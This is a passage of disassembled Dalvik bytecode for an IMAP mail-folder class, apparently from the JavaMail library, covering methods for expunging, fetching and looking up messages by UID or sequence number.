00000108  iput-object             v0, p0, IMAPFolder->attributes:[String
:10C
0000010C  iget-boolean            v0, p0, IMAPFolder->exists:Z
:110
00000110  monitor-exit            p0
00000112  return                  v0
:114
00000114  iget-object             v0, p0, IMAPFolder->fullName:String
00000118  move-object             v1, v0
0000011A  goto                    :44
:11C
0000011C  iget-boolean            v0, p0, IMAPFolder->opened:Z
00000120  iput-boolean            v0, p0, IMAPFolder->exists:Z
00000124  const/4                 v0, 0x0
00000126  iput-object             v0, p0, IMAPFolder->attributes:[String
:12A
0000012A  goto                    :10C
:12C
0000012C  move-exception          v0
0000012E  monitor-exit            p0
00000130  throw                   v0
          .catchall {:4 .. :110} :12C
          .catchall {:114 .. :12A} :12C
.end method

.method public declared-synchronized expunge()[Message
          .registers 2
00000000  monitor-enter           p0
00000002  const/4                 v0, 0x0
:4
00000004  invoke-virtual          IMAPFolder->expunge([Message)[Message, p0, v0
:A
0000000A  move-result-object      v0
0000000C  monitor-exit            p0
0000000E  return-object           v0
:10
00000010  move-exception          v0
00000012  monitor-exit            p0
00000014  throw                   v0
          .catchall {:4 .. :A} :10
.end method

.method public declared-synchronized expunge([Message)[Message
          .registers 10
00000000  const/4                 v0, 0x0
00000002  monitor-enter           p0
:4
00000004  invoke-direct           IMAPFolder->checkOpened()V, p0
0000000A  new-instance            v2, Vector
0000000E  invoke-direct           Vector-><init>()V, v2
00000014  if-eqz                  p1, :32
:18
00000018  new-instance            v1, FetchProfile
0000001C  invoke-direct           FetchProfile-><init>()V, v1
00000022  sget-object             v3, UIDFolder$FetchProfileItem->UID:UIDFolder$FetchProfileItem
00000026  invoke-virtual          FetchProfile->add(FetchProfile$Item)V, v1, v3
0000002C  invoke-virtual          IMAPFolder->fetch([Message, FetchProfile)V, p0, p1, v1
:32
00000032  iget-object             v3, p0, IMAPFolder->messageCacheLock:Object
00000036  monitor-enter           v3
:38
00000038  const/4                 v1, 0x0
:3A
0000003A  iput-boolean            v1, p0, IMAPFolder->doExpungeNotification:Z
:3E
0000003E  invoke-direct           IMAPFolder->getProtocol()IMAPProtocol, p0
00000044  move-result-object      v1
00000046  if-eqz                  p1, :A6
:4A
0000004A  invoke-static           Utility->toUIDSet([Message)[UIDSet, p1
00000050  move-result-object      v4
00000052  invoke-virtual          IMAPProtocol->uidexpunge([UIDSet)V, v1, v4
:58
00000058  const/4                 v1, 0x1
:5A
0000005A  iput-boolean            v1, p0, IMAPFolder->doExpungeNotification:Z
0000005E  move                    v1, v0
:60
00000060  iget-object             v0, p0, IMAPFolder->messageCache:Vector
00000064  invoke-virtual          Vector->size()I, v0
0000006A  move-result             v0
0000006C  if-lt                   v1, v0, :13E
:70
00000070  monitor-exit            v3
:72
00000072  iget-object             v0, p0, IMAPFolder->messageCache:Vector
00000076  invoke-virtual          Vector->size()I, v0
0000007C  move-result             v0
0000007E  iput                    v0, p0, IMAPFolder->total:I
00000082  invoke-virtual          Vector->size()I, v2
00000088  move-result             v0
0000008A  new-array               v0, v0, [Message
0000008E  invoke-virtual          Vector->copyInto([Object)V, v2, v0
00000094  array-length            v1, v0
00000096  if-lez                  v1, :A2
:9A
0000009A  const/4                 v1, 0x1
0000009C  invoke-virtual          IMAPFolder->notifyMessageRemovedListeners(Z, [Message)V, p0, v1, v0
:A2
000000A2  monitor-exit            p0
000000A4  return-object           v0
:A6
000000A6  invoke-virtual          IMAPProtocol->expunge()V, v1
:AC
000000AC  goto                    :58
:AE
000000AE  move-exception          v0
:B0
000000B0  iget                    v1, p0, IMAPFolder->mode:I
000000B4  const/4                 v2, 0x2
000000B6  if-eq                   v1, v2, :FE
:BA
000000BA  new-instance            v0, IllegalStateException
000000BE  new-instance            v1, StringBuilder
000000C2  const-string            v2, "Cannot expunge READ_ONLY folder: "
000000C6  invoke-direct           StringBuilder-><init>(String)V, v1, v2
000000CC  iget-object             v2, p0, IMAPFolder->fullName:String
000000D0  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v2
000000D6  move-result-object      v1
000000D8  invoke-virtual          StringBuilder->toString()String, v1
000000DE  move-result-object      v1
000000E0  invoke-direct           IllegalStateException-><init>(String)V, v0, v1
000000E6  throw                   v0
:E8
000000E8  move-exception          v0
000000EA  const/4                 v1, 0x1
:EC
000000EC  iput-boolean            v1, p0, IMAPFolder->doExpungeNotification:Z
000000F0  throw                   v0
:F2
000000F2  move-exception          v0
000000F4  monitor-exit            v3
:F6
000000F6  throw                   v0
:F8
000000F8  move-exception          v0
000000FA  monitor-exit            p0
000000FC  throw                   v0
:FE
000000FE  new-instance            v1, MessagingException
00000102  invoke-virtual          CommandFailedException->getMessage()String, v0
00000108  move-result-object      v2
0000010A  invoke-direct           MessagingException-><init>(String, Exception)V, v1, v2, v0
00000110  throw                   v1
:112
00000112  move-exception          v0
00000114  new-instance            v1, FolderClosedException
00000118  invoke-virtual          ConnectionException->getMessage()String, v0
0000011E  move-result-object      v0
00000120  invoke-direct           FolderClosedException-><init>(Folder, String)V, v1, p0, v0
00000126  throw                   v1
:128
00000128  move-exception          v0
0000012A  new-instance            v1, MessagingException
0000012E  invoke-virtual          ProtocolException->getMessage()String, v0
00000134  move-result-object      v2
00000136  invoke-direct           MessagingException-><init>(String, Exception)V, v1, v2, v0
0000013C  throw                   v1
:13E
0000013E  iget-object             v0, p0, IMAPFolder->messageCache:Vector
00000142  invoke-virtual          Vector->elementAt(I)Object, v0, v1
00000148  move-result-object      v0
0000014A  check-cast              v0, IMAPMessage
0000014E  invoke-virtual          IMAPMessage->isExpunged()Z, v0
00000154  move-result             v4
00000156  if-eqz                  v4, :19E
:15A
0000015A  invoke-virtual          Vector->addElement(Object)V, v2, v0
00000160  iget-object             v4, p0, IMAPFolder->messageCache:Vector
00000164  invoke-virtual          Vector->removeElementAt(I)V, v4, v1
0000016A  iget-object             v4, p0, IMAPFolder->uidTable:Hashtable
0000016E  if-eqz                  v4, :60
:172
00000172  invoke-virtual          IMAPMessage->getUID()J, v0
00000178  move-result-wide        v4
0000017A  const-wide/16           v6, 0xFFFFFFFFFFFFFFFF
0000017E  cmp-long                v0, v4, v6
00000182  if-eqz                  v0, :60
:186
00000186  iget-object             v0, p0, IMAPFolder->uidTable:Hashtable
0000018A  new-instance            v6, Long
0000018E  invoke-direct           Long-><init>(J)V, v6, v4, v5
00000194  invoke-virtual          Hashtable->remove(Object)Object, v0, v6
0000019A  goto/16                 :60
:19E
0000019E  invoke-virtual          IMAPMessage->getSequenceNumber()I, v0
000001A4  move-result             v4
000001A6  invoke-virtual          IMAPMessage->setMessageNumber(I)V, v0, v4
:1AC
000001AC  add-int/lit8            v0, v1, 0x1
000001B0  move                    v1, v0
000001B2  goto/16                 :60
          .catchall {:4 .. :38} :F8
          .catchall {:3A .. :3E} :F2
          .catch CommandFailedException {:3E .. :58} :AE
          .catch ConnectionException {:3E .. :58} :112
          .catch ProtocolException {:3E .. :58} :128
          .catchall {:3E .. :58} :E8
          .catchall {:5A .. :72} :F2
          .catchall {:72 .. :A2} :F8
          .catch CommandFailedException {:A6 .. :AC} :AE
          .catch ConnectionException {:A6 .. :AC} :112
          .catch ProtocolException {:A6 .. :AC} :128
          .catchall {:A6 .. :AC} :E8
          .catchall {:B0 .. :E8} :E8
          .catchall {:EC .. :F6} :F2
          .catchall {:F6 .. :F8} :F8
          .catchall {:FE .. :13E} :E8
          .catchall {:13E .. :1AC} :F2
.end method

.method public declared-synchronized fetch([Message, FetchProfile)V
          .registers 4
00000000  monitor-enter           p0
:2
00000002  invoke-direct           IMAPFolder->checkOpened()V, p0
00000008  invoke-static           IMAPMessage->fetch(IMAPFolder, [Message, FetchProfile)V, p0, p1, p2
:E
0000000E  monitor-exit            p0
00000010  return-void
:12
00000012  move-exception          v0
00000014  monitor-exit            p0
00000016  throw                   v0
          .catchall {:2 .. :E} :12
.end method

.method public declared-synchronized forceClose()V
          .registers 3
00000000  monitor-enter           p0
00000002  const/4                 v0, 0x0
00000004  const/4                 v1, 0x1
:6
00000006  invoke-direct           IMAPFolder->close(Z, Z)V, p0, v0, v1
:C
0000000C  monitor-exit            p0
0000000E  return-void
:10
00000010  move-exception          v0
00000012  monitor-exit            p0
00000014  throw                   v0
          .catchall {:6 .. :C} :10
.end method

.method public getACL()[ACL
          .registers 3
00000000  const-string            v0, "ACL not supported"
00000004  new-instance            v1, IMAPFolder$14
00000008  invoke-direct           IMAPFolder$14-><init>(IMAPFolder)V, v1, p0
0000000E  invoke-virtual          IMAPFolder->doOptionalCommand(String, IMAPFolder$ProtocolCommand)Object, p0, v0, v1
00000014  move-result-object      v0
00000016  check-cast              v0, [ACL
0000001A  return-object           v0
.end method

.method public getAttributes()[String
          .registers 2
00000000  iget-object             v0, p0, IMAPFolder->attributes:[String
00000004  if-nez                  v0, :E
:8
00000008  invoke-virtual          IMAPFolder->exists()Z, p0
:E
0000000E  iget-object             v0, p0, IMAPFolder->attributes:[String
00000012  invoke-virtual          [String->clone()Object, v0
00000018  move-result-object      v0
0000001A  check-cast              v0, [String
0000001E  return-object           v0
.end method

.method public declared-synchronized getDeletedMessageCount()I
          .registers 6
00000000  monitor-enter           p0
:2
00000002  iget-boolean            v0, p0, IMAPFolder->opened:Z
00000006  if-nez                  v0, :16
:A
0000000A  invoke-direct           IMAPFolder->checkExists()V, p0
:10
00000010  const/4                 v0, 0xFFFFFFFFFFFFFFFF
:12
00000012  monitor-exit            p0
00000014  return                  v0
:16
00000016  new-instance            v0, Flags
0000001A  invoke-direct           Flags-><init>()V, v0
00000020  sget-object             v1, Flags$Flag->DELETED:Flags$Flag
00000024  invoke-virtual          Flags->add(Flags$Flag)V, v0, v1
:2A
0000002A  iget-object             v1, p0, IMAPFolder->messageCacheLock:Object
0000002E  monitor-enter           v1
:30
00000030  invoke-direct           IMAPFolder->getProtocol()IMAPProtocol, p0
00000036  move-result-object      v2
00000038  new-instance            v3, FlagTerm
0000003C  const/4                 v4, 0x1
0000003E  invoke-direct           FlagTerm-><init>(Flags, Z)V, v3, v0, v4
00000044  invoke-virtual          IMAPProtocol->search(SearchTerm)[I, v2, v3
0000004A  move-result-object      v0
0000004C  array-length            v0, v0
0000004E  monitor-exit            v1
00000050  goto                    :12
:52
00000052  move-exception          v0
00000054  monitor-exit            v1
:56
00000056  throw                   v0
:58
00000058  move-exception          v0
:5A
0000005A  new-instance            v1, FolderClosedException
0000005E  invoke-virtual          ConnectionException->getMessage()String, v0
00000064  move-result-object      v0
00000066  invoke-direct           FolderClosedException-><init>(Folder, String)V, v1, p0, v0
0000006C  throw                   v1
:6E
0000006E  move-exception          v0
00000070  monitor-exit            p0
00000072  throw                   v0
:74
00000074  move-exception          v0
:76
00000076  new-instance            v1, MessagingException
0000007A  invoke-virtual          ProtocolException->getMessage()String, v0
00000080  move-result-object      v2
00000082  invoke-direct           MessagingException-><init>(String, Exception)V, v1, v2, v0
00000088  throw                   v1
          .catchall {:2 .. :10} :6E
          .catchall {:16 .. :2A} :6E
          .catch ConnectionException {:2A .. :30} :58
          .catch ProtocolException {:2A .. :30} :74
          .catchall {:2A .. :30} :6E
          .catchall {:30 .. :56} :52
          .catch ConnectionException {:56 .. :58} :58
          .catch ProtocolException {:56 .. :58} :74
          .catchall {:56 .. :58} :6E
          .catchall {:5A .. :6E} :6E
          .catchall {:76 .. :8A} :6E
.end method

.method public getFolder(String)Folder
          .registers 6
00000000  iget-object             v0, p0, IMAPFolder->attributes:[String
00000004  if-eqz                  v0, :24
:8
00000008  invoke-direct           IMAPFolder->isDirectory()Z, p0
0000000E  move-result             v0
00000010  if-nez                  v0, :24
:14
00000014  new-instance            v0, MessagingException
00000018  const-string            v1, "Cannot contain subfolders"
0000001C  invoke-direct           MessagingException-><init>(String)V, v0, v1
00000022  throw                   v0
:24
00000024  invoke-virtual          IMAPFolder->getSeparator()C, p0
0000002A  move-result             v1
0000002C  new-instance            v2, IMAPFolder
00000030  new-instance            v0, StringBuilder
00000034  iget-object             v3, p0, IMAPFolder->fullName:String
00000038  invoke-static           String->valueOf(Object)String, v3
0000003E  move-result-object      v3
00000040  invoke-direct           StringBuilder-><init>(String)V, v0, v3
00000046  invoke-virtual          StringBuilder->append(C)StringBuilder, v0, v1
0000004C  move-result-object      v0
0000004E  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, p1
00000054  move-result-object      v0
00000056  invoke-virtual          StringBuilder->toString()String, v0
0000005C  move-result-object      v3
0000005E  iget-object             v0, p0, IMAPFolder->store:Store
00000062  check-cast              v0, IMAPStore
00000066  invoke-direct           IMAPFolder-><init>(String, C, IMAPStore)V, v2, v3, v1, v0
0000006C  return-object           v2
.end method

.method public declared-synchronized getFullName()String
          .registers 2
00000000  monitor-enter           p0
:2
00000002  iget-object             v0, p0, IMAPFolder->fullName:String
:6
00000006  monitor-exit            p0
00000008  return-object           v0
:A
0000000A  move-exception          v0
0000000C  monitor-exit            p0
0000000E  throw                   v0
          .catchall {:2 .. :6} :A
.end method

.method public declared-synchronized getMessage(I)Message
          .registers 4
00000000  monitor-enter           p0
:2
00000002  invoke-direct           IMAPFolder->checkOpened()V, p0
00000008  invoke-direct           IMAPFolder->checkRange(I)V, p0, p1
0000000E  iget-object             v0, p0, IMAPFolder->messageCache:Vector
00000012  add-int/lit8            v1, p1, 0xFFFFFFFFFFFFFFFF
00000016  invoke-virtual          Vector->elementAt(I)Object, v0, v1
0000001C  move-result-object      v0
0000001E  check-cast              v0, Message
:22
00000022  monitor-exit            p0
00000024  return-object           v0
:26
00000026  move-exception          v0
00000028  monitor-exit            p0
0000002A  throw                   v0
          .catchall {:2 .. :22} :26
.end method

.method getMessageBySeqNumber(I)IMAPMessage
          .registers 5
00000000  add-int/lit8            v0, p1, 0xFFFFFFFFFFFFFFFF
00000004  move                    v1, v0
:6
00000006  iget                    v0, p0, IMAPFolder->total:I
0000000A  if-lt                   v1, v0, :12
:E
0000000E  const/4                 v0, 0x0
:10
00000010  return-object           v0
:12
00000012  iget-object             v0, p0, IMAPFolder->messageCache:Vector
00000016  invoke-virtual          Vector->elementAt(I)Object, v0, v1
0000001C  move-result-object      v0
0000001E  check-cast              v0, IMAPMessage
00000022  invoke-virtual          IMAPMessage->getSequenceNumber()I, v0
00000028  move-result             v2
0000002A  if-eq                   v2, p1, :10
:2E
0000002E  add-int/lit8            v0, v1, 0x1
00000032  move                    v1, v0
00000034  goto                    :6
.end method

.method public declared-synchronized getMessageByUID(J)Message
          .registers 9
00000000  monitor-enter           p0
:2
00000002  invoke-direct           IMAPFolder->checkOpened()V, p0
:8
00000008  const/4                 v0, 0x0
:A
0000000A  iget-object             v1, p0, IMAPFolder->messageCacheLock:Object
0000000E  monitor-enter           v1
:10
00000010  new-instance            v2, Long
00000014  invoke-direct           Long-><init>(J)V, v2, p1, p2
0000001A  iget-object             v3, p0, IMAPFolder->uidTable:Hashtable
0000001E  if-eqz                  v3, :3C
:22
00000022  iget-object             v0, p0, IMAPFolder->uidTable:Hashtable
00000026  invoke-virtual          Hashtable->get(Object)Object, v0, v2
0000002C  move-result-object      v0
0000002E  check-cast              v0, IMAPMessage
00000032  if-eqz                  v0, :4A
:36
00000036  monitor-exit            v1
:38
00000038  monitor-exit            p0
0000003A  return-object           v0
:3C
0000003C  new-instance            v3, Hashtable
00000040  invoke-direct           Hashtable-><init>()V, v3
00000046  iput-object             v3, p0, IMAPFolder->uidTable:Hashtable
:4A
0000004A  invoke-direct           IMAPFolder->getProtocol()IMAPProtocol, p0
00000050  move-result-object      v3
00000052  invoke-virtual          IMAPProtocol->fetchSequenceNumber(J)UID, v3, p1, p2
00000058  move-result-object      v3
0000005A  if-eqz                  v3, :8A
:5E
0000005E  iget                    v4, v3, UID->seqnum:I
00000062  iget                    v5, p0, IMAPFolder->total:I
00000066  if-gt                   v4, v5, :8A
:6A
0000006A  iget                    v0, v3, UID->seqnum:I
0000006E  invoke-virtual          IMAPFolder->getMessageBySeqNumber(I)IMAPMessage, p0, v0
00000074  move-result-object      v0
00000076  iget-wide               v3, v3, UID->uid:J
0000007A  invoke-virtual          IMAPMessage->setUID(J)V, v0, v3, v4
00000080  iget-object             v3, p0, IMAPFolder->uidTable:Hashtable
00000084  invoke-virtual          Hashtable->put(Object, Object)Object, v3, v2, v0
:8A
0000008A  monitor-exit            v1
0000008C  goto                    :38
:8E
0000008E  move-exception          v0
00000090  monitor-exit            v1
:92
00000092  throw                   v0
:94
00000094  move-exception          v0
:96
00000096  new-instance            v1, FolderClosedException
0000009A  invoke-virtual          ConnectionException->getMessage()String, v0
000000A0  move-result-object      v0
000000A2  invoke-direct           FolderClosedException-><init>(Folder, String)V, v1, p0, v0
000000A8  throw                   v1
:AA
000000AA  move-exception          v0
000000AC  monitor-exit            p0
000000AE  throw                   v0
:B0
000000B0  move-exception          v0
:B2
000000B2  new-instance            v1, MessagingException
000000B6  invoke-virtual          ProtocolException->getMessage()String, v0
000000BC  move-result-object      v2
000000BE  invoke-direct           MessagingException-><init>(String, Exception)V, v1, v2, v0
000000C4  throw                   v1
          .catchall {:2 .. :8} :AA
          .catch ConnectionException {:A .. :10} :94
          .catch ProtocolException {:A .. :10} :B0
          .catchall {:A .. :10} :AA
          .catchall {:10 .. :38} :8E
          .catchall {:3C .. :92} :8E
          .catch ConnectionException {:92 .. :94} :94
          .catch ProtocolException {:92 .. :94} :B0
          .catchall {:92 .. :94} :AA
          .catchall {:96 .. :AA} :AA
          .catchall {:B2 .. :C6} :AA
.end method

.method public declared-synchronized getMessageCount()I
          .registers 5
00000000  monitor-enter           p0
:2
00000002  iget-boolean            v0, p0, IMAPFolder->opened:Z
00000006  if-nez                  v0, :A0
:A
0000000A  invoke-direct           IMAPFolder->checkExists()V, p0
:10
00000010  invoke-direct           IMAPFolder->getStatus()Status, p0
00000016  move-result-object      v0
00000018  iget                    v0, v0, Status->total:I
:1C
0000001C  monitor-exit            p0
0000001E  return                  v0
:20
00000020  move-exception          v0
00000022  const/4                 v1, 0x0
:24
00000024  invoke-virtual          IMAPFolder->getStoreProtocol()IMAPProtocol, p0
0000002A  move-result-object      v1
0000002C  iget-object             v0, p0, IMAPFolder->fullName:String
00000030  invoke-virtual          IMAPProtocol->examine(String)MailboxInfo, v1, v0
00000036  move-result-object      v0
00000038  invoke-virtual          IMAPProtocol->close()V, v1
0000003E  iget                    v0, v0, MailboxInfo->total:I
:42
00000042  invoke-virtual          IMAPFolder->releaseStoreProtocol(IMAPProtocol)V, p0, v1
:48
00000048  goto                    :1C
:4A
0000004A  move-exception          v0
0000004C  monitor-exit            p0
0000004E  throw                   v0
:50
00000050  move-exception          v0
:52
00000052  new-instance            v2, MessagingException
00000056  invoke-virtual          ProtocolException->getMessage()String, v0
0000005C  move-result-object      v3
0000005E  invoke-direct           MessagingException-><init>(String, Exception)V, v2, v3, v0
00000064  throw                   v2
:66
00000066  move-exception          v0
:68
00000068  invoke-virtual          IMAPFolder->releaseStoreProtocol(IMAPProtocol)V, p0, v1
0000006E  throw                   v0
:70
00000070  move-exception          v0
00000072  new-instance            v1, StoreClosedException
00000076  iget-object             v2, p0, IMAPFolder->store:Store
0000007A  invoke-virtual          ConnectionException->getMessage()String, v0
00000080  move-result-object      v0
00000082  invoke-direct           StoreClosedException-><init>(Store, String)V, v1, v2, v0
00000088  throw                   v1
:8A
0000008A  move-exception          v0
0000008C  new-instance            v1, MessagingException
00000090  invoke-virtual          ProtocolException->getMessage()String, v0
00000096  move-result-object      v2
00000098  invoke-direct           MessagingException-><init>(String, Exception)V, v1, v2, v0
0000009E  throw                   v1
:A0
000000A0  iget-object             v1, p0, IMAPFolder->messageCacheLock:Object
000000A4  monitor-enter           v1
:A6
000000A6  const/4                 v0, 0x1
:A8
000000A8  invoke-direct           IMAPFolder->keepConnectionAlive(Z)V, p0, v0
000000AE  iget                    v0, p0, IMAPFolder->total:I
:B2
000000B2  monitor-exit            v1
000000B4  goto                    :1C
:B6
000000B6  move-exception          v0
000000B8  monitor-exit            v1
:BA
000000BA  throw                   v0
:BC
000000BC  move-exception          v0
:BE
000000BE  new-instance            v2, FolderClosedException
000000C2  invoke-virtual          ConnectionException->getMessage()String, v0
000000C8  move-result-object      v0
000000CA  invoke-direct           FolderClosedException-><init>(Folder, String)V, v2, p0, v0
000000D0  throw                   v2
:D2
000000D2  move-exception          v0
000000D4  new-instance            v2, MessagingException
000000D8  invoke-virtual          ProtocolException->getMessage()String, v0
000000DE  move-result-object      v3
000000E0  invoke-direct           MessagingException-><init>(String, Exception)V, v2, v3, v0
000000E6  throw                   v2
          .catchall {:2 .. :10} :4A
          .catch BadCommandException {:10 .. :1C} :20
          .catch ConnectionException {:10 .. :1C} :70
          .catch ProtocolException {:10 .. :1C} :8A
          .catchall {:10 .. :1C} :4A
          .catch ProtocolException {:24 .. :42} :50
          .catchall {:24 .. :42} :66
          .catchall {:42 .. :48} :4A
          .catchall {:52 .. :66} :66
          .catchall {:68 .. :A6} :4A
          .catch ConnectionException {:A8 .. :B2} :BC
          .catch ProtocolException {:A8 .. :B2} :D2
          .catchall {:A8 .. :B2} :B6
          .catchall {:B2 .. :BA} :B6
          .catchall {:BA .. :BC} :4A
          .catchall {:BE .. :E8} :B6
.end method

.method public declared-synchronized getMessagesByUID(J, J)[Message
          .registers 14
00000000  monitor-enter           p0
:2
00000002  invoke-direct           IMAPFolder->checkOpened()V, p0
:8
00000008  iget-object             v1, p0, IMAPFolder->messageCacheLock:Object
0000000C  monitor-enter           v1
:E
0000000E  iget-object             v0, p0, IMAPFolder->uidTable:Hashtable
00000012  if-nez                  v0, :24
:16
00000016  new-instance            v0, Hashtable
0000001A  invoke-direct           Hashtable-><init>()V, v0
00000020  iput-object             v0, p0, IMAPFolder->uidTable:Hashtable
:24
00000024  invoke-direct           IMAPFolder->getProtocol()IMAPProtocol, p0
0000002A  move-result-object      v0
0000002C  invoke-virtual          IMAPProtocol->fetchSequenceNumbers(J, J)[UID, v0, p1, p2, p3, p4
00000032  move-result-object      v2
00000034  array-length            v0, v2
00000036  new-array               v3, v0, [Message
0000003A  const/4                 v0, 0x0
:3C
0000003C  array-length            v4, v2
0000003E  if-lt                   v0, v4, :48
:42
00000042  monitor-exit            v1
:44
00000044  monitor-exit            p0
00000046  return-object           v3
:48
00000048  aget-object             v4, v2, v0
0000004C  iget                    v4, v4, UID->seqnum:I
00000050  invoke-virtual          IMAPFolder->getMessageBySeqNumber(I)IMAPMessage, p0, v4
00000056  move-result-object      v4
00000058  aget-object             v5, v2, v0
0000005C  iget-wide               v5, v5, UID->uid:J
00000060  invoke-virtual          IMAPMessage->setUID(J)V, v4, v5, v6
00000066  aput-object             v4, v3, v0
0000006A  iget-object             v5, p0, IMAPFolder->uidTable:Hashtable
0000006E  new-instance            v6, Long
00000072  aget-object             v7, v2, v0
00000076  iget-wide               v7, v7, UID->uid:J
0000007A  invoke-direct           Long-><init>(J)V, v6, v7, v8
00000080  invoke-virtual          Hashtable->put(Object, Object)Object, v5, v6, v4
00000086  add-int/lit8            v0, v0, 0x1
0000008A  goto                    :3C
:8C
0000008C  move-exception          v0
0000008E  monitor-exit            v1
:90
00000090  throw                   v0
:92
00000092  move-exception          v0
:94
00000094  new-instance            v1, FolderClosedException
00000098  invoke-virtual          ConnectionException->getMessage()String, v0
0000009E  move-result-object      v0
000000A0  invoke-direct           FolderClosedException-><init>(Folder, String)V, v1, p0, v0
000000A6  throw                   v1
:A8
000000A8  move-exception          v0
000000AA  monitor-exit            p0
000000AC  throw                   v0
:AE
000000AE  move-exception          v0
:B0
000000B0  new-instance            v1, MessagingException
000000B4  invoke-virtual          ProtocolException->getMessage()String, v0
000000BA  move-result-object      v2
000000BC  invoke-direct           MessagingException-><init>(String, Exception)V, v1, v2, v0
000000C2  throw                   v1
          .catchall {:2 .. :8} :A8
          .catch ConnectionException {:8 .. :E} :92
          .catch ProtocolException {:8 .. :E} :AE
          .catchall {:8 .. :E} :A8
          .catchall {:E .. :44} :8C
          .catchall {:48 .. :90} :8C
          .catch ConnectionException {:90 .. :92} :92
          .catch ProtocolException {:90 .. :92} :AE
          .catchall {:90 .. :92} :A8
          .catchall {:94 .. :A8} :A8
          .catchall {:B0 .. :C4} :A8
.end method

.method public declared-synchronized getMessagesByUID([J)[Message
          .registers 11
00000000  const/4                 v1, 0x0
00000002  monitor-enter           p0
:4
00000004  invoke-direct           IMAPFolder->checkOpened()V, p0
:A
0000000A  iget-object             v4, p0, IMAPFolder->messageCacheLock:Object
0000000E  monitor-enter           v4
:10
00000010  iget-object             v0, p0, IMAPFolder->uidTable:Hashtable
00000014  if-eqz                  v0, :B8
:18
00000018  new-instance            v5, Vector
0000001C  invoke-direct           Vector-><init>()V, v5
00000022  move                    v0, v1
:24
00000024  array-length            v2, p1
00000026  if-lt                   v0, v2, :6E
:2A
0000002A  invoke-virtual          Vector->size()I, v5
00000030  move-result             v6
00000032  new-array               v2, v6, [J
00000036  move                    v3, v1
:38
00000038  if-lt                   v3, v6, :98
:3C
0000003C  move-object             v0, v2
:3E
0000003E  array-length            v2, v0
00000040  if-lez                  v2, :5C
:44
00000044  invoke-direct           IMAPFolder->getProtocol()IMAPProtocol, p0
0000004A  move-result-object      v2
0000004C  invoke-virtual          IMAPProtocol->fetchSequenceNumbers([J)[UID, v2, v0
00000052  move-result-object      v2
00000054  move                    v0, v1
:56
00000056  array-length            v3, v2
00000058  if-lt                   v0, v3, :CA
:5C
0000005C  array-length            v0, p1
0000005E  new-array               v2, v0, [Message
:62
00000062  array-length            v0, p1
00000064  if-lt                   v1, v0, :10A
:68
00000068  monitor-exit            v4
:6A
0000006A  monitor-exit            p0
0000006C  return-object           v2
:6E
0000006E  iget-object             v2, p0, IMAPFolder->uidTable:Hashtable
00000072  new-instance            v3, Long
00000076  aget-wide               v6, p1, v0
0000007A  invoke-direct           Long-><init>(J)V, v3, v6, v7
00000080  invoke-virtual          Hashtable->containsKey(Object)Z, v2, v3
00000086  move-result             v2
00000088  if-nez                  v2, :92
:8C
0000008C  invoke-virtual          Vector->addElement(Object)V, v5, v3
:92
00000092  add-int/lit8            v0, v0, 0x1
00000096  goto                    :24
:98
00000098  invoke-virtual          Vector->elementAt(I)Object, v5, v3
0000009E  move-result-object      v0
000000A0  check-cast              v0, Long
000000A4  invoke-virtual          Long->longValue()J, v0
000000AA  move-result-wide        v7
000000AC  aput-wide               v7, v2, v3
000000B0  add-int/lit8            v0, v3, 0x1
000000B4  move                    v3, v0
000000B6  goto                    :38
:B8
000000B8  new-instance            v0, Hashtable
000000BC  invoke-direct           Hashtable-><init>()V, v0
000000C2  iput-object             v0, p0, IMAPFolder->uidTable:Hashtable
000000C6  move-object             v0, p1
000000C8  goto                    :3E
:CA
000000CA  aget-object             v3, v2, v0
000000CE  iget                    v3, v3, UID->seqnum:I
000000D2  invoke-virtual          IMAPFolder->getMessageBySeqNumber(I)IMAPMessage, p0, v3
000000D8  move-result-object      v3
000000DA  aget-object             v5, v2, v0
000000DE  iget-wide               v5, v5, UID->uid:J
000000E2  invoke-virtual          IMAPMessage->setUID(J)V, v3, v5, v6
000000E8  iget-object             v5, p0, IMAPFolder->uidTable:Hashtable
000000EC  new-instance            v6, Long
000000F0  aget-object             v7, v2, v0
000000F4  iget-wide               v7, v7, UID->uid:J
000000F8  invoke-direct           Long-><init>(J)V, v6, v7, v8
000000FE  invoke-virtual          Hashtable->put(Object, Object)Object, v5, v6, v3
00000104  add-int/lit8            v0, v0, 0x1
00000108  goto                    :56
:10A
0000010A  iget-object             v0, p0, IMAPFolder->uidTable:Hashtable
0000010E  new-instance            v3, Long
00000112  aget-wide               v5, p1, v1
00000116  invoke-direct           Long-><init>(J)V, v3, v5, v6
0000011C  invoke-virtual          Hashtable->get(Object)Object, v0, v3
00000122  move-result-object      v0
00000124  check-cast              v0, Message
00000128  aput-object             v0, v2, v1
0000012C  add-int/lit8            v0, v1, 0x1
00000130  move                    v1, v0
00000132  goto                    :62
:134
00000134  move-exception          v0
00000136  monitor-exit            v4
:138
00000138  throw                   v0
:13A
0000013A  move-exception          v0
:13C
0000013C  new-instance            v1, FolderClosedException
00000140  invoke-virtual          ConnectionException->getMessage()String, v0
00000146  move-result-object      v0
00000148  invoke-direct           FolderClosedException-><init>(Folder, String)V, v1, p0, v0
0000014E  throw                   v1
:150
00000150  move-exception          v0
00000152  monitor-exit            p0
00000154  throw                   v0
:156
00000156  move-exception          v0
:158
00000158  new-instance            v1, MessagingException
0000015C  invoke-virtual          ProtocolException->getMessage()String, v0
00000162  move-result-object      v2
00000164  invoke-direct           MessagingException-><init>(String, Exception)V, v1, v2, v0
0000016A  throw                   v1
          .catchall {:4 .. :A} :150
          .catch ConnectionException {:A .. :10} :13A
          .catch ProtocolException {:A .. :10} :156
          .catchall {:A .. :10} :150
          .catchall {:10 .. :6A} :134
          .catchall {:6E .. :138} :134
          .catch ConnectionException {:138 .. :13A} :13A
          .catch ProtocolException {:138 .. :13A} :156
          .catchall {:138 .. :13A} :150
          .catchall {:13C .. :150} :150
          .catchall {:158 .. :16C} :150
.end method

.method public declared-synchronized getName()String
          .registers 4
00000000  monitor-enter           p0
:2
00000002  iget-object             v0, p0, IMAPFolder->name:String
:6
00000006  if-nez                  v0, :32
:A
0000000A  iget-object             v0, p0, IMAPFolder->fullName:String
0000000E  iget-object             v1, p0, IMAPFolder->fullName:String
00000012  invoke-virtual          IMAPFolder->getSeparator()C, p0
00000018  move-result             v2
0000001A  invoke-virtual          String->lastIndexOf(I)I, v1, v2
00000020  move-result             v1
00000022  add-int/lit8            v1, v1, 0x1
00000026  invoke-virtual          String->substring(I)String, v0, v1
0000002C  move-result-object      v0
0000002E  iput-object             v0, p0, IMAPFolder->name:String
:32
00000032  iget-object             v0, p0, IMAPFolder->name:String
:36
00000036  monitor-exit            p0
